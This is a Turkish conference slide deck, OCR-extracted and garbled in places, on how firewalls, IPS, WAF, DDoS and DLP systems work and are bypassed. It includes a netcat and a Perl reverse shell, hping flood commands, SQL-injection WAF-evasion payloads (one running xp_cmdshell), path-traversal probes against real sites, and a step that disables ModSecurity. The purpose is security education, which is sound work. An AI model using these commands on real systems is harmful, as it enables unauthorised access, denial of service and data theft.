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Huzeyfe ONAL

* Ag glvenligi uzmani
— Network pentest
— Alternatif ag glivenligi sistemleri

— DDoS Engelleme Sistemleri/IPS
* Bilgi givenligi egitmeni
— Bilgi Guvenligi AKADEMISI
* Gulvenlik diinyasinin gazetecisi©

— www.lifeoverip.net



Amac
R ——__ O——
* Bilgi givenliginin dinamik bir alan oldugu ve tak-

calistir hazir sunulan ¢céztimlerin gercek manada
glvenligimizi arttirmadiginin uygulamali olarak

gosterilmesi.

* Busunumda anlatilan tum olaylar kisisel sektor
tecrubelerimden olusmaktadir.



Ajanda
R ——__ O——
* Guvenlik sistemleri cesitleri
— Firewall
— |PS
— WAF
— DOS/DDoS engelleme sistemleri
— N-DLP

* Klasik glivenlik anlayisimiz ve eksiklikleri

e Guvenlik sistemlerinin calisma yapilari ve nasil
atlatilabilecegi



Klasik Guvenlik Anlayisi

YA  $ e
e Tumden savunma!

 Uriin temelli bir guivenlik anlayis|
— Urlin= sihirbaz bakis acisi(bilgi-sayar)

e Turkiye’'ye ozel degil tim dinya icin gecerli

* Teknik sorunlar teknik yollarla ¢ézulur, insani
sorunlar insanla ¢ozulur

* Temel bilgi sahibi olmadan ileri seviye isler
yapmaya calisma
— TCP/IP bilmeden Firewall/IPS yonetmek



Guvenlik Sistemleri

D ——_ G——
 GUNUMUz sinir guvenligi sistemleri
— Guvenlik Duvari(Firewall)
— Saldir1 Tespit ve Engelleme Sistemi(IDS/IPS)
— Web Uygulama Guvenlik Duvari(WAF)
— DDoS Engelleme Sistemi
— Veri Sizma Engelleme(DLP)



Guvenlik Duvarlari
YA  $ e

e Aglar arasli erisim kontrolQ

* [P adresine gore port numarasina gore engelleme
yapabilir

e 192.168.1.2 ANY TCP Port 80

* 192.168.9.0/24 ANY UDP 53

* Bazl Firewalllar L7(icerigi gore de engelleme
yapabilir)



Guvenlik Duvarlari Nasil Engelleme
*
e Guvenlik Duvarlari genelde iki tip engelleme
yontemi kullanir
— DROP
— REJECT

 DROP: Gelen/giden paketi engelle ve geriye
nerhangi bir mesaj donme

 REJECT:Gelen/giden paketi engelle ve geriye TCP
RST/UDP Port Ulasilamaz gibi bir mesaj doén




Guvenlik Duvari Kesif Calismalari
R ——__ O——
 TCP RFC’e gore bir porta SYN bayrakli paket

gonderildiginde
— ACK-SYN doner
— RST déner
— Cevap donmezse?
* Herhangi u¢ porta gdnderilecek TCP paketleriyle
Firewall var/yok anlasilabilir

e Cesitli TCP portlara yonelik tcptraceroute
calismalari

* #nmap firewall ip adresi



Firewall lle Korunan Sistem

[Toot@depdep "}E;EEEEgm:ﬁ -p 80 www._microsoft.com -c 3 :%

HPITHG www.micros - ethld 207.46.170.10%: S eaders + 0 data bytes
len=46 1p=207.46.170.10 tt1=33 1d=29651 sport=80 flags=5A seq=0 win=512 rtt=164.1 ms
len=46 ip=207.46.170.10 ttl1=33 1d=52702 sport=80 flags=5A seq=1 win=512 rtt=164.3 ms

—-—— www.microsoft.com hping statistic —-—-

2 packets tramitted., 2 packets received. 0% packet loss
round-trip minsavg-maxz = 164.1-164_2-164.3 ms
[Toot@depdep ™

1#
[Toot@depdep ™ hping -5 -p 99 www.microsoft.com -c 2
HPING www.microsoft: : = headers + 0 data bytes

—-—— www.microsoft.com hping statistic —-—-

2 packets tramitted., 0 packets received. 100% packet loss
round-trip mincsavg-max = 0.0-0.0-0.0 ms

[Toot@depdep ™]#

[root@depdep ~]# _ Yanlis Yapilandirma(?)
[Toot@depdep ™ ]# _hping -F -p 80 www. mlcrnsnft com -c¢ 2

HPING www.microsoft. - heade + 0 data bytes

len=46 ip=207_.46.170.10 tt1=228 id=34913 sport=80 flags=RA seq=0 win=8201 rtt=245.6 ms
len=46 ip=207.46.170.10 ttl1=228 1d=33186 sport=80 flags=RA seq=1 win=8201 rtt=243.2 ms

—-—— www.microsoft.com hping statistic —-—-

2 packets tramitted., 2 packets received, 0% packet loss
round-trip min-savg.s
[Tooct@depdep ™
HPING www.microso

hping -F -p Bl www.microsoft.com -¢ 2
feth0 207 46,170 10): F

headers + 0 data bytes

—-—— www._microsoft._com hping statistic ---

2 packets tramitted, 0 packets received, 100% packet loss
round-trip minsavgsmax = 0.0-0.0-0.0 ms

[Toot@depdep ~]#




Firewall Ile Korunmayan Sistem

berguvenlik.org -c
HPING www.siberguvenlik.org {em0 178 18 107 18}: 2 got, 40 headers + 0 data bytes

len=46 1p=178.18.197_18 ttl= 53 DF 1d 0 sport=80 flags= SA seq=0 win=5840 rtt=8.0 ms
len=46 1p=178.18.197.18 ttl1l=53 DF id=0 sport=80 flags=5A seq=1 win=5840 rtt=8.1 ms

—-—-— www_sliberguvenlik.org hping statistic --—-

2 packets tramitted., 2 packets received., 0% packet loss

round-trip minAsavg-maz = 8.0-8.0-8.1 ms

[rooct@netdosl ~]#

[root@netdosl ™]#

[root@netdosl ™ ]# \hping -I em0 -p 99 -5 wew.siberguvenlik.org -c 2

HPING www.sibergquvenlik_ org (emld 17818197 _.18) 5 set, 40 headers + 0 data bytes
len=46 ip=178.18.197.18 tt1=53 DF id=0 sport=99 flags=RA seq=0 win=0 rtt=8.7 ms
len=46 1p=178.18_.197_.18 tt1=53 DF id=0 sport=99 flags=RA seq=1 win=0 rtt=8.2 ms

--—- www.slbergquvenlik.org hping statistic -—-

2 packets tramitted, 2 packets received, 0% packet loss

round-trip minsavg-smaz = 8.2-8.4-8.7 ms

[Toot@netdosl ™]#

[rooct@netdosl ~]#

[root@netdosl ™]# hping -1 em0 -p 99 -F www.siberguvenlik.org -c 2

HPIHNG www.siberguvenlik org {em0 178 18 197 18): F cet Al bheaders +“0 data bytes
len=46 1p=178.18_197_18 tt1=53 DF id=0 sport= 99 flags= -RA seq=0 win=0 rtt=8.1 ms
len=46 1p=178.18.197.18 ttl1l=53 DF id=0 sport=99 flags=RA seq=1 win=0 rtt=8.1 ms

—-—-— www_sliberguvenlik.org hping statistic --—-

2 packets tramitted., 2 packets received., 0% packet loss

round-trip minsavg-smaz = 8.1-8.1-8.1 ms

[rooct@netdosl “]#

[root@netdosl ]# hping -I em0 -p 80 -F wew. slberguvenllk org -c 2

HPIHNG m.SihEI‘SHVEuIJ—_;&.ULa il::ma 178 18.1;?.18}. F ::H::l.., d0-headers—+ 0 data hYtES
--- www.slberguvenlik.org hping statistic ---

2 packets tramitted. 0 packets received, 100% packet loss

round-trip min-savg-max = 0.0-0.0-0.0 ms




Guvenlik Duvarlari Nasil Asilir?

e Guvenlik duvarlari paketlerin icerigine bakmaz(L7
firewallar harig)

* Tunelleme yontemleriyle givenlik duvarlari
rahatlikla asilabilir

* Bir port, bir protokol aciksa tim portlar ve
protokoller aciktir ilkesi!

* |Internetten indirilecek kurulum gerektirmeyen

basit araclar kullanilarak tum Firewall’lar
asilabilir(?)

e Calisanlarin %25’i Guvenlik duvarlarini asarak
islem yapmaktadir



Firewall Atlatma:SSH Tunelleme

* Genelikle glvenlik duvarlarinda kullanicilara
80/443. portlara erisime hak verilmistir

* Internette 443. porttan SSH calistiran cesitli
Ucretsiz SSH servisi veren sistemler bulunmaktadir

* SSH Socks proxy destegine sahiptir
e #ssh —D hedef.sistem.com —p 443 —| huzeyfe



28 PuTTY Configuration ] x|
Category: :
=) Session al Basic options for your PuTTY session | IR PUTTY Configuration x|
& T;ml;;‘ga?mg ~Specify the destination you want to connect to————— Category:K — =il — T — |
- - Keyboar - ptions contralling port forwarding
- Bel |rootshell be {443 % Foatuies SR
Feat C fion b & Window [~ Local ports accept connections from other hosts
- Features onnection type: =
= Window C Raw C Telnet C Rlogin @ SSH " Serial - Appeatance [ Fistots portscothe suve[35H 2 0oy
T - - Behaviour Forwarded ports: Bemove I
: : ~ Load, save or delete a stored session - Translation
Behaviour : Selecti D808o
T ranslation Saved Sessions i oelection
5 IH tshellb - Colours
+ Selection DOSELOS [=)- Connection i ; o
COIO.U'S Default Settings | Load I Data Hef e S Pl
[=)- Connection - Proxy Source port Add
- Data Save | ~ Telnet .
- Prosy - Rlogin Destination |
- Telnet Delete | = S5H " Local " Remote * Dynamic
- Rlogin - - Kex @ Auto C IPv4 C IPv6
= 55H Connection Settings j x| - Auth
- Kex bl [ (2 ind TTY
e 0S€ WINdOW Ont - Configure Proxies ko Access the Internet - X1
- Auth ‘& @
; Always Tunnels
= TTY — " Direct connection ko the Internet ~ Bugs
X1 :
: LI (" Auto-detect proxy settings for this network - Serial =
About | ¢ Manual proxy configuration: About I Open Cancel
HTTP Proxy: I Port: IU
™ Use this proxy server for all protocols
SSL Proxy: I Port: ID
ETP Proxy: I Port: IBUBU
Gopher Proxy: I Port: IBUSD
[sog<s Host: | 127.0.0.1 Port: |a080 |

" SOCKSv4 (¢ SOCKS w5

Mo Proxy for: Ilocalhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192,168.1.0/24
(" Automatic proxy configuration URL:

l Reload |
OK I Cancel I Help I




Firewall Atlatma:UIltrasurf

e Ultrasurf: Antisansur programi

* Engellemesi en zor yazi
e Kurulum gerektirmez, |

imlardan

P adresi engelleyerek

engellenemesz...

- http:/ /vpn.lifeoverip.net:2000/ - Microsoft Internek Explorer

- — - Firewall uzerinden 2000.port kapali
N | [ )search & ZFf oldugu halde Ultrasurf uzerinden
N ulasilabiliyor

SSH-2.0-OpenSSH._5.1p1 FreeBSD-20080901 Protocol mismétch.

pE
& QX

Home Retry Option Help Exit

— Connection
Preferred Speed

UltraSurf v @ 98.9%
LQ F @ gy—

@ o5 —
Port: 9666

Status:  Successfully connected to serverl Feedback |




Firewall Atlatma:UIltrasurf-I|

\::‘3 Favorites | E.:‘s £ | Radyo Mydonose @ | Suggested Sites = & | Web Slice Gallery -

Stack Based Overflows ... | |
T A TE

Haome Retmy Option Help

— Connection
Prefered Speed

LlltraSI urf [ Iﬁ o5 43

r @ 95.4% I

@ g9 7:
Fort:  9BEE

Statuz  Successfully connected to server! Feedback |




Firewall Atlatma :OpenVPN

* OpenVPN: UDP ve TCP lzerinden istenilen portda
calistirilabilen SSL VPN uygulamasi

Evdeki bilgisayara OpenVPN kurup disari 53 UDP
ve TCP/443(HTTPS) baglantllarl acilir

Tum trafik UDP/53 lizerinden

akacaktir!

=10l x|

Current State: Connecting

ThuJun 24 19:37:09 2010 OpentPN 2.1.1 ESEp C-iilF gw32 [S5L][LE02] [PRCS11] bu It n Dec 11 2003

ThuJun 24 19:37:13 2010 wWARKING: Mo ertlf erific t n rethod has bee bl d. See http.-’
ThuJdun 24 19:37:13 2010 HOTE: Ope \-"F'N 21 requi cript-security 2' or higher to II er-defined 2
Thudun 24 19:37:13 20010 LZ0 compraszion ini tlallzed

Thudun 24 13:37:13 20 UDPv4 link local: [undef]
Thudun 24 13:37:13 2000 UDP4 link remote: 31.93.113.80:53

|B| lifeoverip-egitim.ovpn - Notepad

-1

File Edit Format WView Help

lc1ient

proto udp

d

remote 91.93.119.80 5
r

nobind

persist-key
persist-tun
auth-user-pass

ca ca.crt

comp-1zo



Firewall Atlatma:SSL

-’a Hatah Kullanic1 Adi ve/veya Sifre - Microsoft Internet Explorer

File Edit View Favorites Tools Help

R Back . ~ L ’ —~ . _‘.'v.‘) . 6:(1' ) Fie Edt View Favortes Tools Help
¢ ; - v W ¥ ¢ Favaoril ) - J N A ZZa -
_) = el 4 L - = o - O o kad :. a) | - Search ¢ Favorkes ’6-‘ T g . & E "i e
Address I@ http:/f81.212.90.99:8599/redirectjwrongUserMNamePassword. jsp Address [8) hetp-ffvwwe Weoverp. net] i0
Please wat while you are redirected :..J

ADSL BILGILENDIRME SAYFASI

C:xDocuments and Eettin&s\ﬂdministratur}nmap PN —n ?1.93.117_ 830 —top-—ports 1@

Starting Mmap 4.6 ¢ http://nmap.org > at 2009-87-22 22:59 GIB Daylight Time
Interesting ports on 71.93.117.88:
STATE SERVICE
filtered ftp
filtered =zh

filtered telnet
filtered =mtp
OpPEn http
filtered pop3
filtered nethioz—ssn
opPEn https
filtered microsoft—ds
338%/tcp filtered mzs—term—seru

Mmap done: 1 IP address <1 host wup) scanned in B.38 seconds

|| |8 mternet




Firewall Atlatma:SSL-I|

‘Z Hatali Kullanicr Adi ve/veya Sifre - Microsoft Internet Explorer

File Edit View Favorites Tools Help
@Back v Q v |ﬂ @ ‘h ’ /‘:\l Search \i\\?Favorites e}‘ [i{v _% v J ﬁ '3

Address I@ http:/{81.212.90,99:8599 redirectwrongUserNamePassword.jsp

HTTPS

=101x|

7} Webmail service - Microsoft Internet Explorer

.'7'.1

Edit ‘iew Favorites Tools Help

h () Search *Favorites @

File

go=Udas|

¥ Go

ﬂ “ $ ‘ Q& Webmail service

Gelen Kutusu Mesaj Yaz Adresler Klastrler Secenekler

-

érintilenan Klasér: Gelen Kutusu

Klasorler (2 % | Welcome: huzeyfe@lifeoverip.net

I Gelen Kutusu {1955) @ | @ 11224567..131 132132 134 | Tumind Gaster | Y Tomind Seg/Birak Viewing Messages: 1to 15 (1999 total)
Secili Mesajlar Dénigtir:

U Drafts Secili Odeyi Tagi:
4] sent I_Gelen Kutusu o] CTasi @kt % Flag " Bayajikaldr (%) Okunmus Okunmamis LSl
@ Trash (purge) " Gonderen || Tarih -] Konu |

A
.5pam [~ info@atakmail.com Pzt, 9:13am - Mail Alisverisinde Problem Yasamamak Icin Yeni Aya...




Firewall Atlatma:Ters Tunelleme

e Teamviewer mantigi!

Firewal allan
INPUT:
TCP Port 80 ACCEPT
TCP Port 443 ACCEPT
DENY

OUTPUT:
TCP Port 80 ACCEPT
TCP Port 443 ACCEPT

TCP Port 80/443




Ters Tunelleme Ornekleri

* ssh -NR 5000:localhost:22
huzeyfe@evbilgisayari.com —p 443

* Huzeyfe’'nin ev bilgisayarinin 5000. portu
vereldeki SSH portuna tinellenmis durumda

e Netcat Reverse Tunnel

— netcat -e /bin/bash www.evbilgisayarim.com 443
— Evbilgisayarim~#nc — —p 443



mailto:huzeyfe@evbilgisayari.com
mailto:huzeyfe@evbilgisayari.com
mailto:huzeyfe@evbilgisayari.com
mailto:huzeyfe@evbilgisayari.com
http://www.evbilgisayarim.com/
http://www.evbilgisayarim.com/
http://www.evbilgisayarim.com/

Perl ile Ters Tunelleme

* #!/usr/bin/perl use Socket;
Saddr=sockaddr _in('3333',inet_aton('localhost'));
socket(S,PF _INET,SOCK_ STREAM,getprotobyname
("tcp')); connect(S,Saddr);select S;S|=1;
while(defined(SI=<S>)){print gx(Sl);} close(S);




L7 Firewall

R ——__ O——
* Uygulama katmaninda islem yapar

— Paketlerin sadece ip ve port bilesenlerine degil
icerigine de bakar

— Icerisinde /etc/passwd geciyorsa engelle gibi!

#tiptables —A INPUT —p tcp —dport 80 —m string —algo
bm —string /etc/passwd —j REJECT

gibi



L7 Firewall Atlatma

e SSL kullanilarak L7 firewallar atlatilabilir

* Cesitli encoding teknikleri kullanilarak L7
firewallar atlatilabilir

* Cesitliip parcalama teknikleri kullanilarak L7
firewallar atlatilabilir




¥ Problem loading page - Mozilla Firefox
File Edit View History Bookmarks Tools Help

—

- Ql |htn::ﬂ91.93.119.7?,rencfpasswd > - [
-

£ Most Visited ’ Getting Started . Latest Headlines \
J {L, Problem loading page | - \

site could be temporarily unavailable or too busy. Try again in_a few
moments.

= If you are unable to load any pages, check your computer's network
connection.

» If your computer or network is protected by a firewall or proxy, make sure that
Firefox is permitted to access the Web.

Try Again |

iptables -A INPUT -p tcp --dport 80 -m string --algo bm --string "/etc/passwd" -j REJECT --reject-with tcp-reset

%) Mogzilla Firefox

File Edit Wiew History Bookmarks Tools Help

@ - mfg 1.93.119.77/etc/. /fpasswd >

N —
£ Most Visited #® Getting Started -, Latest Headines

J . http://91.93.119.77 etc// passwd | - |

Gizli parola 25 Haziran 2010'da aciklanacak:)

GET /./cgi-bin/./broken.cgi HTTP/1.0




Saldiri Engelleme Sistemleri(IPS)

[ ——————— - _S———
e |kinci nesil glivenlik sistemleri
— Firewall & IDS -> IPS & WAF

e Pakete ait tim alanlari(L2-L7 arasi)
iceleyip karar verebilir
e DROP TCP ANY 80 URICONTENT cmd.exe

* Drop tcp any any ->192.168.1.0/24 80 (content: "cgi-
vin/phf"; offset: 3; depth: 22; msg: "CGI-PHF attack";)

* Temelde iki farkli amac icin tercih edilir

— Icerden disari yapilabilecek saldirilarda/istenmeyen
trafiklerde

— Disardan gelebilecek saldirilarda




IPS Kesif Calismasi

Bilinen tum IPS’lerde default olarak gelen imzalar
denenerek aktif bir IPS var mi yok mu anlasilabilir
%99 acik olan ve IPS’i tetikleyecek imzalar

— Cmd.exe

- .././

— /etc/passwd

HTTP isteklerinde bu degerler gonderilerek donen
cevap incelenir

— Klasik 404 vs gibi HTTP cevabi donuyorsa IPS yok(ya da
imzalar aktif degil)

— Connection RST veya Timeout alintyorsa IPS Vardir.
IPS yokken ne cevap doner, varken ne cevap déner



Ornek

e A
e telnet www.checkpoint.com 80

* telnet www.tippingpoint.com 80

* telnet www.cia.gov 80



http://www.checkpoint.com/
http://www.checkpoint.com/
http://www.checkpoint.com/
http://www.tippingpoint.com/
http://www.tippingpoint.com/
http://www.tippingpoint.com/
http://www.cia.gov/
http://www.cia.gov/
http://www.cia.gov/

IPS Atlatma Teknikleri-I

IP parcalama
Encoding

Protokole 6zel atlatma
yontemleri

Google —> IPS evasion ...

URL encoding

/./ directory insertion
Premature URL ending
Long URL

Fake parameter

Tab separation

Case sensitivity
Window delimiter

Null method

Session splicing



IPS Atlatma Teknikleri-Il

* SSL Uzerinden paket gonderimi

L— - - TY=—7"r T~ r F

[root@depdep "]Q:ielnet www.checkpoint .com 80 )
Trying 216.200.241.66...
Connected to www.checkpoint.com (Z216.200.241.66).

€«=="

TCP RESET Dénuyor!

ET ... . etcspasswd HTTP~-1.0
onnection closed by foreign host

[Toot@depdep ~]#
[root@depdep ™ ]# nss]l www.checkpoint.com 443

GET ../../etc/passw 4 SSL oldugundan birsey
HITP-1.1 400 Bad Regquest -

Date: Thu, 24 Jun 2010 21:14:12 GMT #-ﬁ"

Server: Apache ‘_""

Content-Length: 226

Connection: close

Content-Type: text- html: charset=i1so0-8859-1

< I1DOCTYPE HTML PUBLIC "---IETF.--DTD HTML 2?.0--EN":

<html><{head>

{title>400 Bad Request<-title>

{/head> {body>

<hl1>Bad Regquest{-hl>

{p>*¥Your browser sent a request that this server could not understand.<{br -
</p>

{/body><{ html>

Freaard+rf@darndaw ~1TMH




Turkiye'de Efektif IPS Kullanim Orani

e S
* Nasil gerceklestirildi?
* Nc(netcat), Nssl araclari kullanildi
e Once HTTP Uzerinden sonra HTTPS Uzerinden
asagidaki istekler gonderildi
 GET../../etc/passwd HTTP/1.0
e GET../../cmmd.exe HTTP/1.0

Turkiye IPS Efektif Kullanim Orani




Ic Kullanicilarin IPS Atlatmasi

S
* Tunelleme yontemleri
— ICMP Tunelleme
— DNS Protokol Tunelleme
— HTTP In Smtp tunelleme
— HTTP/HTTPS Tunelleme

e WebTunnel



WebTunnel ile Firewall/IPS Atlatma

#iperl wtc.pl tcp://localhost:8080 tcp://vpn.lifeoverip.net:22
http://www.siberguvenlik.org/cgi-bin/wts.pl

huzeyfe@seclab:~S$ ssh localhost -p 8080

123.3libaba. — - [23/Feb/2009:10:56:08 +0200] "GET http://WEB_SUNUCU/cgi-bin
Jwits.pl?crnd =startRarg=tcp2%3 A% 2F¥%2Fvpn.lfeoverip.net3422 HTTR/1.17 - -"-"
“webtunnel/0.0.3"

123.alibaba. — - [23/Feb/2009:10:56:07 +0200] "GET http://WEB_SUNUCU/cgi-bin

fwits.plPcmd=read HTTP/1.1" — - ™-" "webtunnel/0.0.3"
Sunucu Loglan

123.alibaba. — - [23/Feb/2009:10:56:07 +0200] "POST
http:/ /WEB_SUNUCU/ cgi-bin/wts. pl?zcmd=write HTTP/1.1" — - "-"
"webtunnel/0.0.3"

123.alibaba. — - [23/Feb/2009:10:56:07 +0200] "GET http://WEB_SUNUCU/ cgi-bin
fwis.plPemd=read HTTP/1.1" — - ™" “webtunnel/0.0.3"


http://web_sunucu/cgi-bin/wts.pl
http://web_sunucu/cgi-bin/wts.pl
http://web_sunucu/cgi-bin/wts.pl
http://web_sunucu/cgi-bin/wts.pl
http://web_sunucu/cgi-bin/wts.pl
http://web_sunucu/cgi-bin/wts.pl
http://web_sunucu/cgi-bin/wts.pl
http://web_sunucu/cgi-bin/wts.pl
http://web_sunucu/cgi-bin/wts.pl

DDoS Engelleme Sistemleri

 DOS/DDoS Saldirilarini Engelleme Amacli
Gelistirilmistir

* Genellikle istatistiksel veri analizine dayanir

» Karantina/Rate limiting/Threshold ozelligi
elzemdir!

* Dikkatli ayarlanmamis bir DDoS engelleme sistemi
tersine bir amac icin kullanilir
— 2Mb ile 2Gb lik internet hattinin durdurulmasi!



DDoS Sistemi Kesif CAlismasi

R ——__ O——
* %100 garantili kesif yontemi degildir

 Amac rate limiting 6zelliginin varligini anlama
* Hping —S —p 80 —flood 1.2.3.4
* Hping —udp —p 53 —flood 1.2.3.4

* |lgili portlara erisim saglanamiyorsa muhtemelen
oir ddos engelleme sistemi sizi karantinaya
almistir.




Ornek Iptables Kurallari

e S
* jptables -A INPUT —p tcp —dport 80 -m limit --limit
50/s --limit-burst 30 —j REJECT

e 10 dakikada max 10 baglanti

#iptables -I INPUT -p tcp -s 0/0 -d SSERVER_IP --
sport 513:65535 --dport 22 -m state --state
NEW,ESTABLISHED -m recent --set -j ACCEPT

#tiptables -l INPUT -p tcp --dport 22 -m state --state

NEW -m recent --update --seconds 600 --hitcount
11 -j DROP



Hping ile Ozel Paket Uretimi

R ——__ O——
* Mikrosaniye =saniyenin 100.000’de biri
* Saniyede 10 paket gondermek i¢in

— #hping -i u10000 -S -p 22 www.hedefsite.com —a
istenilen_ip_adresi

* Saniyede 100 adet paket gonderimi
— #hping -S -p 22 192.168.2.23 -c 1000 -i u100

e r oo

[runt@depdep “1# ./netstress
oyntaz: ./netstress (target ip} (target port) [PUSH|ACK|SYN]) [fullrandom -|random-pattern ip_adress(81.234.)]
[root@depdep “]# ./netstress www.qoogle.com SYN random-pattern 78.



http://www.hedefsite.com/
http://www.hedefsite.com/
http://www.hedefsite.com/

Web Uygulama Guvenlik Duvari

 Web uygulamalarina spesifik givenlik duvari

* Sadece port/ip degil tiim paket icerigine(HTTP, HTTPS
vs) bakarak islem yapilir

 WAF arkasinda calistirilan uygulama sisteme ne kadar
iyi tanitilirsa o oranda basari saglanir

* Ag tabanli IPS’lerden daha fazla koruma saglar!

* Degisik yerlesim/calisma modelleri vardir
— Inline
— Reverse Proxy
— Passive(Active Response)



WAF Kesif Calismasi

# python wafwO00f.py hitp:/ fwww.sirket.com.tr

W

By Sandro Gauci && Wendel G. Henrigue

Checking http://www .sirket.com.tr

o XSS d e n e m e I e ri VS L’Erens:atfor}t:gaﬂgv;gu;r.lsé]rket.cc:m.tr is behind a BIG-IP

# python wafwO00f.py http:/ fwww._sirket2.com.tr/

A
Ele Edt Yew Hgtory Bookmarks Tooks Hep WAFWOOF - Web Application Firewall Detection Tool

¥.Ci X &L hew/,uothm@)wt(:)miD By Sandro Gauci && Wendel G. Henrique

£ m @ Getang Started Checking http://www.sirket2.com.tr/

The site hitp://www.sirket2.com.itr/ is behind a Citrix NetScaler
Number of requests: 5

]

| MATASAYFASI [+]

Sistemde hata olustu ve istek kayit altina alindi.

Hata Kodunuz:

Daha detayli bilgi icin (hata kodunuz ile birlikte) asagidaki adrese e-posta gonderiniz:

huzeyfe@lifeoverip.net




WAF Atlatma

* Genellikle WAF'lar SSL cozumleme yaptigiicin SSL
Uzerinden atlatma ise yaramaz

 WAF’larin cikisindan itibaren cesitli atlatma
teknikleri gelistirilmistir

o /*112345 select * from */

* Reverse_exec

* http splitting



WAF Atlatma:SQL Yorumlari

e /* comment */ yorum satiri olarak algilanir(SQL
+WAF+IPS tarafindan)

o [*Isql-code*/ ve /*112345sql-code*/ yorum
olarak algilanmaz(SQL tarafindan)(WAF+IPS’ler
tarafindan yorum olarak algilanir)

o /[?id=1/*!limit+0+union+select+concat_ws(0x3a,u
sername,password,email)+from+users*/



WAF Atlatma:Encoding

Log window Tags available

|sat M
hackvertor

sqlascii || sqlchar || sglchr || sglcomment | sglhex | sqlor

Input 108

Output |911

<@aglchar 8/2id=1

/*!linit+0+uniont+select+concat ws(0x3a,username, password, email) +fromtusers*/
<B/sglchar &

(0x77)+CHAR
) +CHAR | +C

Clear| Cleartags Swap Selectinput Selectoutput Convert Javascript/HTML shortcuts

R T --HTMLtagsj --HTMLAﬂritj ~Events— % |--CSS propelj |--Objects-- j |--Operators--j

[P IRIT TR ) B

Inline calisan WAF/IPS’lerde ise yarar




WAF Atlatma:Reverse Fonksiyonu

e SQL Sunucularda bulunan reverse fonksiyonu kullanthr
— Reverse(lgs) = sql

* var=1";DECLARE @a varchar(200) DECLARE @b
varchar(200) DECLARE @c varchar(200) SET @a = REVERSE
('1,"snoitpo decnavda wohs" erugifnoc_ps.obd.retsam’)
EXEC (@a) RECONFIGURE SET @b = REVERSE
('1,"llehsdmc_px" erugifnoc_ps.obd.retsam') EXEC (@a)
RECONFIGURE SET @c =REVERSE('“08.911.39.19 gnip"
llehsdmc_px') EXEC (@c);--

 REVERSE('“08.911.39.19 gnip" llehsdmc_px')= ping
91.93.119.80



WAF Atlatma:ModSecurity(Yerel)

 www kullanicisinin yazma izni varsa hackerin ilk
yvapacagl islerden biri Modsecurity WAF’I devre
disi birakmak olacaktir.

<|IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>



Ag Tabanli DLP Sistemleri

e S
* IDS/IPS mantiginda calisir

 Sifreli trafigi inceleyemez

e Ultrasurf, Gmail vs gibi SSL Uzerinden hizmet
veren servislerle atlatmak kolaydir




Korunma
e A

* Egitim sart!
 Uriunler sihirbaz degildir!
e Guvenlik bir surectir!

* Guvenlik bir luks degil gereksinimdir!




Tesekkurler...

Huzeyfe ONAL
Bilgi GUvenligi AKADEMISI
honal@bga.com.tr

http://www.bga.com.tr

NetSec Ag ve Bilgi Guvenligi Toplulugu
http://www.lifeoverip.net/netsec-listesi/
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